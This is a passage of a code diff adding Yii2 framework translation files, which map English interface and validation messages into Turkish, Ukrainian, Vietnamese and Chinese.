tip uzantıları olan dosyalar geçerlidir: {extensions}.', + 'Page not found.' => 'Sayfa bulunamadı.', + 'Please fix the following errors:' => 'Lütfen hataları düzeltin:', + 'Please upload a file.' => 'Lütfen bir dosya yükleyin.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => '{totalCount, number} {totalCount, plural, one{öğenin} other{öğenin}} {begin, number}-{end, number} arası gösteriliyor.', + 'The file "{file}" is not an image.' => '"{file}" bir resim dosyası değil.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => '"{file}" dosyası çok büyük. Boyutu {limit, number} {limit, plural, one{byte} other{bytes}} değerinden büyük olamaz.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => '"{file}" dosyası çok küçük. Boyutu {limit, number} {limit, plural, one{byte} other{bytes}} değerinden küçük olamaz.', + 'The format of {attribute} is invalid.' => '{attribute} formatı geçersiz.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '"{file}" çok büyük. Yükseklik {limit, plural, one{pixel} other{pixels}} değerinden büyük olamaz.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '"{file}" çok büyük. Genişlik {limit, number} {limit, plural, one{pixel} other{pixels}} değerinden büyük olamaz.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '"{file}" çok küçük. Genişlik {limit, number} {limit, plural, one{pixel} other{pixels}} değerinden küçük olamaz.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '"{file}" çok küçük. Genişlik {limit, number} {limit, plural, one{pixel} other{pixels}} değerinden küçük olamaz.', + 'The verification code is incorrect.' => 'Doğrulama kodu yanlış.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Toplam {count, number} {count, plural, one{öğe} other{öğe}}.', + 'Unable to verify your data submission.' => 'İlettiğiniz veri doğrulanamadı.', + 'Unknown command "{command}".' => 'Bilinmeyen komut "{command}".', + 'Unknown option: --{name}' => 'Bilinmeyen seçenek: --{name}', + 'Update' => 'Güncelle', + 'View' => 'İncele', + 'Yes' => 'Evet', + 'You are not allowed to perform this action.' => 'Bu işlemi yapmaya yetkiniz yok.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Sadece {limit, number} {limit, plural, one{dosya} other{# dosya}} yükleyebilirsiniz.', + 'the input value' => 'veri giriş değeri', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" daha önce alınmış.', + '{attribute} cannot be blank.' => '{attribute} boş bırakılamaz.', + '{attribute} is invalid.' => '{attribute} geçersiz.', + '{attribute} is not a valid URL.' => '{attribute} geçerli bir URL değil.', + '{attribute} is not a valid email address.' => '{attribute} geçerli bir mail adresi değil.', + '{attribute} must be "{requiredValue}".' => '{attribute} {requiredValue} olmalı.', + '{attribute} must be a number.' => '{attribute} sayı olmalı.', + '{attribute} must be a string.' => '{attribute} harf olmalı.', + '{attribute} must be an integer.' => '{attribute} rakam olmalı.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} yanlızca {true} yada {false} olabilir.', + '{attribute} must be greater than "{compareValue}".' => '{attribute}, "{compareValue}" den büyük olmalı.', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute}, "{compareValue}" den büyük yada eşit olmalı.', + '{attribute} must be less than "{compareValue}".' => '{attribute}, "{compareValue}" den az olmalı.', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute}, "{compareValue}" den az yada eşit olmalı.', + '{attribute} must be no greater than {max}.' => '{attribute} {max} den büyük olmamalı.', + '{attribute} must be no less than {min}.' => '{attribute} {min} den küçük olmamalı.', + '{attribute} must be repeated exactly.' => '{attribute} aynı şekilde tekrarlanmalıdır.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute}, "{compareValue}" ile eşit olmamalı', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} en az {min, number} karakter içermeli.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} en fazla {max, number} karakter içermeli.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} {length, number} karakter içermeli.', + '{n, plural, =1{# byte} other{# bytes}}' => '{n} Byte', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n} Gigabyte', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n} Kilobyte', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n} Megabyte', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n} Petabyte', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n} Terabyte', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/uk/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/uk/yii.php new file mode 100644 index 00000000..45045f97 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/uk/yii.php @@ -0,0 +1,117 @@ + 'Дозволені файли лише з наступними MIME-типами: {mimeTypes}', + 'The requested view "{name}" was not found.' => 'Представлення "{name}" не знайдено', + 'in {delta, plural, =1{a day} other{# days}}' => 'через {delta, plural, =1{день} one{# день} few{# дні} many{# днів} other{# дні}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'через {delta, plural, =1{хвилину} one{# хвилину} few{# хвилини} many{# хвилин} other{# хвилини}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'через {delta, plural, =1{місяць} one{# місяць} few{# місяці} many{# місяців} other{# місяці}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'через {delta, plural, =1{секунду} one{# секунду} few{# секунди} many{# секунд} other{# секунди}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'через {delta, plural, =1{рік} one{# рік} few{# роки} many{# років} other{# роки}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'через {delta, plural, =1{годину} one{# годину} few{# години} many{# годин} other{# години}}', + 'just now' => 'саме зараз', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{день} one{день} few{# дні} many{# днів} other{# дні}} тому', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{хвилину} one{# хвилину} few{# хвилини} many{# хвилин} other{# хвилини}} тому', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{місяць} one{# місяць} few{# місяці} many{# місяців} other{# місяці}} тому', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{секунду} one{# секунду} few{# секунди} many{# секунд} other{# секунди}} тому', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{рік} one{# рік} few{# роки} many{# років} other{# роки}} тому', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{година} one{# година} few{# години} many{# годин} other{# години}} тому', + '{nFormatted} B' => '{nFormatted} Б', + '{nFormatted} GB' => '{nFormatted} Гб', + '{nFormatted} GiB' => '{nFormatted} ГіБ', + '{nFormatted} KB' => '{nFormatted} Кб', + '{nFormatted} KiB' => '{nFormatted} КіБ', + '{nFormatted} MB' => '{nFormatted} Мб', + '{nFormatted} MiB' => '{nFormatted} МіБ', + '{nFormatted} PB' => '{nFormatted} Пб', + '{nFormatted} PiB' => '{nFormatted} ПіБ', + '{nFormatted} TB' => '{nFormatted} Тб', + '{nFormatted} TiB' => '{nFormatted} ТіБ', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, one{байт} few{байта} many{байтів} other{байта}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, one{гібібайт} few{гібібайта} many{гібібайтів} other{гіибібайта}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, one{гігабайт} few{гігабайта} many{гігабайтів} other{гігабайта}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, one{кібібайт} few{кібібайта} many{кібібайтів} other{кібібайта}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, one{кілобайт} few{кілобайта} many{кілобайтів} other{кілобайта}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, one{мебібайт} few{мебібайта} many{мебібайтів} other{мебібайта}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, one{мегабайт} few{мегабайта} many{мегабайтів} other{мегабайта}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, one{пебібайт} few{пебібайта} many{пебібайтів} other{пебібайта}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, one{петабайт} few{петабайта} many{петабайтів} other{петабайта}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, one{тебібайт} few{тебібайта} many{тебібайтів} other{тебібайта}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, one{терабайт} few{терабайта} many{терабайтів} other{терабайта}}', + '(not set)' => '(не задано)', + 'An internal server error occurred.' => 'Виникла внутрішня помилка сервера.', + 'Are you sure you want to delete this item?' => 'Ви впевнені, що хочете видалити цей елемент?', + 'Delete' => 'Видалити', + 'Error' => 'Помилка', + 'File upload failed.' => 'Завантаження файлу не вдалося.', + 'Home' => 'Головна', + 'Invalid data received for parameter "{param}".' => 'Невірне значення параметра "{param}".', + 'Login Required' => 'Потрібен вхід.', + 'Missing required arguments: {params}' => 'Відсутні обовʼязкові аргументи: {params}', + 'Missing required parameters: {params}' => 'Відсутні обовʼязкові параметри: {params}', + 'No' => 'Ні', + 'No help for unknown command "{command}".' => 'Довідка недоступна для невідомої команди "{command}".', + 'No help for unknown sub-command "{command}".' => 'Довідка недоступна для невідомої субкоманди "{command}".', + 'No results found.' => 'Нічого не знайдено.', + 'Only files with these extensions are allowed: {extensions}.' => 'Дозволене завантаження файлів тільки з наступними розширеннями: {extensions}.', + 'Page not found.' => 'Сторінка не знайдена.', + 'Please fix the following errors:' => 'Будь ласка, виправте наступні помилки:', + 'Please upload a file.' => 'Будь ласка, завантажте файл.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Показані записи {begin, number}-{end, number} із {totalCount, number}.', + 'The file "{file}" is not an image.' => 'Файл «{file}» не є зображенням.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Файл «{file}» занадто великий. Розмір не повинен перевищувати {limit, number} {limit, plural, one{байт} few{байта} many{байт} other{байта}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Файл «{file}» занадто маленький. Розмір повинен бути більше, ніж {limit, number} {limit, plural, one{байт} few{байта} many{байт} other{байта}}.', + 'The format of {attribute} is invalid.' => 'Невірний формат значення «{attribute}».', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» занадто великий. Висота не повинна перевищувати {limit, number} {limit, plural, one{піксель} few{пікселя} many{пікселів} other{пікселя}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» занадто великий. Ширина не повинна перевищувати {limit, number} {limit, plural, one{піксель} few{пікселя} many{пікселів} other{пікселя}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» занадто маленький. Висота повинна бути більше, ніж {limit, number} {limit, plural, one{піксель} few{пікселя} many{пікселів} other{пікселя}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» занадто маленький. Ширина повинна бути більше, ніж {limit, number} {limit, plural, one{піксель} few{пікселя} many{пікселів} other{пікселя}}.', + 'The verification code is incorrect.' => 'Неправильний код перевірки.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Всього {count, number} {count, plural, one{запис} few{записи} many{записів} other{записи}}.', + 'Unable to verify your data submission.' => 'Не вдалося перевірити передані дані.', + 'Unknown command "{command}".' => 'Невідома команда "{command}".', + 'Unknown option: --{name}' => 'Невідома опція : --{name}', + 'Update' => 'Редагувати', + 'View' => 'Перегляд', + 'Yes' => 'Так', + 'You are not allowed to perform this action.' => 'Вам не дозволено проводити дану дію.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Ви не можете завантажувати більше {limit, number} {limit, plural, one{файла} few{файлів} many{файлів} other{файла}}.', + 'the input value' => 'введене значення', + '{attribute} "{value}" has already been taken.' => '{attribute} «{value}» вже зайнятий.', + '{attribute} cannot be blank.' => 'Необхідно заповнити «{attribute}».', + '{attribute} is invalid.' => 'Значення «{attribute}» не вірне.', + '{attribute} is not a valid URL.' => 'Значення «{attribute}» не є правильним URL.', + '{attribute} is not a valid email address.' => 'Значення «{attribute}» не є правильною email адресою.', + '{attribute} must be "{requiredValue}".' => 'Значення «{attribute}» має бути рівним «{requiredValue}».', + '{attribute} must be a number.' => 'Значення «{attribute}» має бути числом.', + '{attribute} must be a string.' => 'Значення «{attribute}» має бути рядком.', + '{attribute} must be an integer.' => 'Значення «{attribute}» має бути цілим числом.', + '{attribute} must be either "{true}" or "{false}".' => 'Значення «{attribute}» має дорівнювати «{true}» або «{false}».', + '{attribute} must be greater than "{compareValue}".' => 'Значення «{attribute}» повинно бути більшим значення «{compareValue}».', + '{attribute} must be greater than or equal to "{compareValue}".' => 'Значення «{attribute}» повинно бути більшим або дорівнювати значенню «{compareValue}».', + '{attribute} must be less than "{compareValue}".' => 'Значення «{attribute}» повинно бути меншим значення «{compareValue}».', + '{attribute} must be less than or equal to "{compareValue}".' => 'Значення «{attribute}» повинно бути меншим або дорівнювати значенню «{compareValue}».', + '{attribute} must be no greater than {max}.' => 'Значення «{attribute}» не повинно перевищувати {max}.', + '{attribute} must be no less than {min}.' => 'Значення «{attribute}» має бути більшим {min}.', + '{attribute} must be repeated exactly.' => 'Значення «{attribute}» має бути повторене в точності.', + '{attribute} must not be equal to "{compareValue}".' => 'Значення «{attribute}» не повинно бути рівним «{compareValue}».', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => 'Значення «{attribute}» повинно містити мінімум {min, number} {min, plural, one{символ} few{символа} many{символів} other{символа}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => 'Значення «{attribute}» повинно містити максимум {max, number} {max, plural, one{символ} few{символа} many{символів} other{символа}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => 'Значення «{attribute}» повинно містити {length, number} {length, plural, one{символ} few{символа} many{символів} other{символа}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/vi/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/vi/yii.php new file mode 100644 index 00000000..94373c27 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/vi/yii.php @@ -0,0 +1,106 @@ + '(không có)', + 'An internal server error occurred.' => 'Máy chủ đã gặp sự cố nội bộ.', + 'Are you sure you want to delete this item?' => 'Bạn có chắc là sẽ xóa mục này không?', + 'Delete' => 'Xóa', + 'Error' => 'Lỗi', + 'File upload failed.' => 'Không tải được file lên.', + 'Home' => 'Trang chủ', + 'Invalid data received for parameter "{param}".' => 'Dữ liệu của tham số "{param}" không hợp lệ.', + 'Login Required' => 'Yêu cầu đăng nhập', + 'Missing required arguments: {params}' => 'Thiếu đối số: {params}', + 'Missing required parameters: {params}' => 'Thiếu tham số: {params}', + 'No' => 'Không', + 'No help for unknown command "{command}".' => 'Không có trợ giúp cho lệnh không rõ "{command}"', + 'No help for unknown sub-command "{command}".' => 'Không có trợ giúp cho tiểu lệnh không rõ "{command}"', + 'No results found.' => 'Không tìm thấy kết quả nào.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Chỉ các file với kiểu MIME sau đây được phép tải lên: {mimeTypes}', + 'Only files with these extensions are allowed: {extensions}.' => 'Chỉ các file với phần mở rộng sau đây được phép tải lên: {extensions}', + 'Page not found.' => 'Không tìm thấy trang.', + 'Please fix the following errors:' => 'Vui lòng sửa các lỗi sau đây:', + 'Please upload a file.' => 'Hãy tải file lên.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Trình bày {begin, number}-{end, number} trong số {totalCount, number} mục.', + 'The file "{file}" is not an image.' => 'File "{file}" phải là một ảnh.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'File "{file}" quá lớn. Kích cỡ tối đa được phép tải lên là {limit, number} byte.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'File "{file}" quá nhỏ. Kích cỡ tối thiểu được phép tải lên là {limit, number} byte.', + 'The format of {attribute} is invalid.' => 'Định dạng của {attribute} không hợp lệ.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'File "{file}" có kích thước quá lớn. Chiều cao tối đa được phép là {limit, number} pixel.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Ảnh "{file}" có kích thước quá lớn. Chiều rộng tối đa được phép là {limit, number} pixel.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Ảnh "{file}" quá nhỏ. Chiều cao của ảnh không được phép nhỏ hơn {limit, number} pixel.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Ảnh "{file}" quá nhỏ. Chiều rộng của ảnh không được phép nhỏ hơn {limit, number} pixel.', + 'The requested view "{name}" was not found.' => 'Không tìm thấy file view "{name}"', + 'The verification code is incorrect.' => 'Mã xác thực không đúng.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Tổng số {count, number} mục.', + 'Unable to verify your data submission.' => 'Không kiểm tra được dữ liệu đã gửi lên.', + 'Unknown command "{command}".' => 'Lệnh không biết "{command}"', + 'Unknown option: --{name}' => 'Tùy chọn không biết: --{name}', + 'Update' => 'Sửa', + 'View' => 'Xem', + 'Yes' => 'Có', + 'You are not allowed to perform this action.' => 'Bạn không được phép truy cập chức năng này.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Chỉ có thể tải lên tối đa {limit, number} file.', + 'in {delta, plural, =1{a day} other{# days}}' => 'trong {delta} ngày', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'trong {delta} phút', + 'in {delta, plural, =1{a month} other{# months}}' => 'trong {delta} tháng', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'trong {delta} giây', + 'in {delta, plural, =1{a year} other{# years}}' => 'trong {delta} năm', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'trong {delta} giờ', + 'the input value' => 'giá trị đã nhập', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" đã bị sử dụng.', + '{attribute} cannot be blank.' => '{attribute} không được để trống.', + '{attribute} is invalid.' => '{attribute} không hợp lệ.', + '{attribute} is not a valid URL.' => '{attribute} không phải là URL hợp lệ.', + '{attribute} is not a valid email address.' => '{attribute} không phải là địa chỉ email hợp lệ.', + '{attribute} must be "{requiredValue}".' => '{attribute} phải là "{requiredValue}"', + '{attribute} must be a number.' => '{attribute} phải là số.', + '{attribute} must be a string.' => '{attribute} phải là chuỗi.', + '{attribute} must be an integer.' => '{attribute} phải là số nguyên.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} phải là "{true}" hoặc "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} phải lớn hơn "{compareValue}"', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} phải lớn hơn hoặc bằng "{compareValue}"', + '{attribute} must be less than "{compareValue}".' => '{attribute} phải nhỏ hơn "{compareValue}"', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} phải nhỏ hơn hoặc bằng "{compareValue}"', + '{attribute} must be no greater than {max}.' => '{attribute} không được lớn hơn {max}.', + '{attribute} must be no less than {min}.' => '{attribute} không được nhỏ hơn {min}', + '{attribute} must be repeated exactly.' => '{attribute} phải lặp lại chính xác.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} không được phép bằng "{compareValue}"', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} phải chứa ít nhất {min, number} ký tự.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} phải chứa nhiều nhất {max, number} ký tự.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} phải bao gồm {length, number} ký tự.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta} ngày trước', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta} phút trước', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta} tháng trước', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta} giây trước', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta} năm trước', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta} giờ trước', + '{n, plural, =1{# byte} other{# bytes}}' => '{n} byte', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n} gigabyte', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n} kilobyte', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n} megabyte', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n} petabyte', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n} terabyte', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/zh-CN/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/zh-CN/yii.php new file mode 100644 index 00000000..591d832d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/zh-CN/yii.php @@ -0,0 +1,80 @@ + '(未设置)', + 'An internal server error occurred.' => '服务器内部错误。', + 'Are you sure you want to delete this item?' => '您确定要删除此项吗?', + 'Delete' => '删除', + 'Error' => '错误', + 'File upload failed.' => '文件上传失败。', + 'Home' => '首页', + 'Invalid data received for parameter "{param}".' => '"{param}"参数接收到无效的数据。', + 'Login Required' => '需要登录', + 'Missing required arguments: {params}' => '函数缺少参数:{params}', + 'Missing required parameters: {params}' => '缺少参数:{params}', + 'No' => '否', + 'No help for unknown command "{command}".' => '命令"{command}"发生未知的错误。', + 'No help for unknown sub-command "{command}".' => '子命令"{command}"发生未知的错误。', + 'No results found.' => '没有找到数据。', + 'Only files with these extensions are allowed: {extensions}.' => '只允许使用以下文件扩展名的文件:{extensions}。', + 'Page not found.' => '页面未找到。', + 'Please fix the following errors:' => '请修复以下错误', + 'Please upload a file.' => '请上传一个文件。', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => '第{begin, number}-{end, number}条,共{totalCount, number}条数据.', + 'The file "{file}" is not an image.' => '文件 "{file}" 不是一个图像文件。', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => '文件"{file}"太大。它的大小不能超过{limit, number}字节。', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => '该文件"{file}"太小。它的大小不得小于{limit, number}字节。', + 'The format of {attribute} is invalid.' => '属性 {attribute} 的格式无效。', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '图像"{file}"太大。他的高度不得超过{limit, number}像素。', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '图像"{file}"太大。他的宽度不得超过{limit, number}像素。', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '图像"{file}"太小。他的高度不得小于{limit, number}像素。', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '图像"{file}"太小。他的宽度不得小于{limit, number}像素。', + 'The verification code is incorrect.' => '验证码不正确。', + 'Total {count, number} {count, plural, one{item} other{items}}.' => '总计{count, number}条数据。', + 'Unable to verify your data submission.' => '您提交的数据无法被验证。', + 'Unknown command "{command}".' => '未知的命令 "{command}"。', + 'Unknown option: --{name}' => '未知的选项:--{name}', + 'Update' => '更新', + 'View' => '查看', + 'Yes' => '是', + 'You are not allowed to perform this action.' => '您没有执行此操作的权限。', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => '您最多上传{limit, number}个文件。', + 'the input value' => '该输入', + '{attribute} "{value}" has already been taken.' => '{attribute}的值"{value}"已经被占用了。', + '{attribute} cannot be blank.' => '{attribute}不能为空。', + '{attribute} is invalid.' => '{attribute}是无效的。', + '{attribute} is not a valid URL.' => '{attribute}不是一条有效的URL。', + '{attribute} is not a valid email address.' => '{attribute}不是有效的邮箱地址。', + '{attribute} must be "{requiredValue}".' => '{attribute}必须为"{requiredValue}"。', + '{attribute} must be a number.' => '{attribute}必须是一个数字。', + '{attribute} must be a string.' => '{attribute}必须是一条字符串。', + '{attribute} must be an integer.' => '{attribute}必须是整数。', + '{attribute} must be either "{true}" or "{false}".' => '{attribute}的值必须要么为"{true}",要么为"{false}"。', + '{attribute} must be greater than "{compareValue}".' => '{attribute}的值必须大于"{compareValue}"。', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute}的值必须大于或等于"{compareValue}"。', + '{attribute} must be less than "{compareValue}".' => '{attribute}的值必须小于"{compareValue}"。', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute}的值必须小于或等于"{compareValue}"。', + '{attribute} must be no greater than {max}.' => '{attribute}的值必须不大于{max}。', + '{attribute} must be no less than {min}.' => '{attribute}的值必须不小于{min}。', + '{attribute} must be repeated exactly.' => '{attribute}必须重复。', + '{attribute} must not be equal to "{compareValue}".' => '{attribute}的值不得等于"{compareValue}"。', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute}应该包含至少{min, number}个字符。', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute}只能包含至多{max, number}个字符。', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute}应该包含{length, number}个字符。', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/zh-TW/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/zh-TW/yii.php new file mode 100644 index 00000000..b4cbc509 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/zh-TW/yii.php @@ -0,0 +1,80 @@ + '(未設定)', + 'An internal server error occurred.' => '內部系統錯誤。', + 'Are you sure you want to delete this item?' => '您確定要刪除此項嗎?', + 'Delete' => '刪除', + 'Error' => '錯誤', + 'File upload failed.' => '未能上傳檔案。', + 'Home' => '首頁', + 'Invalid data received for parameter "{param}".' => '"{param}" 參數資料不正確。', + 'Login Required' => '需要登入', + 'Missing required arguments: {params}' => '參數不齊全:{params}', + 'Missing required parameters: {params}' => '參數不齊全:{params}', + 'No' => '否', + 'No help for unknown command "{command}".' => '子命令 "{command}" 發生未知的錯誤。', + 'No help for unknown sub-command "{command}".' => '子命令 "{command}" 發生未知的錯誤。', + 'No results found.' => '沒有資料。', + 'Only files with these extensions are allowed: {extensions}.' => '只可以使用以下擴充名的檔案:{extensions}。', + 'Page not found.' => '找不到頁面。', + 'Please fix the following errors:' => '請修正以下錯誤:', + 'Please upload a file.' => '請上傳一個檔案。', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => '第 {begin, number}-{end, number} 項,共 {totalCount, number} 項資料.', + 'The file "{file}" is not an image.' => '檔案 "{file}" 不是一個圖片檔案。', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => '檔案 "{file}" 太大。它的大小不可以超過 {limit, number} 位元組。', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => '檔案 "{file}" 太小。它的大小不可以小於 {limit, number} 位元組。', + 'The format of {attribute} is invalid.' => '屬性 {attribute} 的格式不正確。', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '圖像 "{file}" 太大。它的高度不可以超過 {limit, number} 像素。', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '圖像 "{file}" 太大。它的寬度不可以超過 {limit, number} 像素。', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '圖像 "{file}" 太小。它的高度不可以小於 {limit, number} 像素。', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '圖像 "{file}" 太小。它的寬度不可以小於 {limit, number} 像素。', + 'The verification code is incorrect.' => '驗證碼不正確。', + 'Total {count, number} {count, plural, 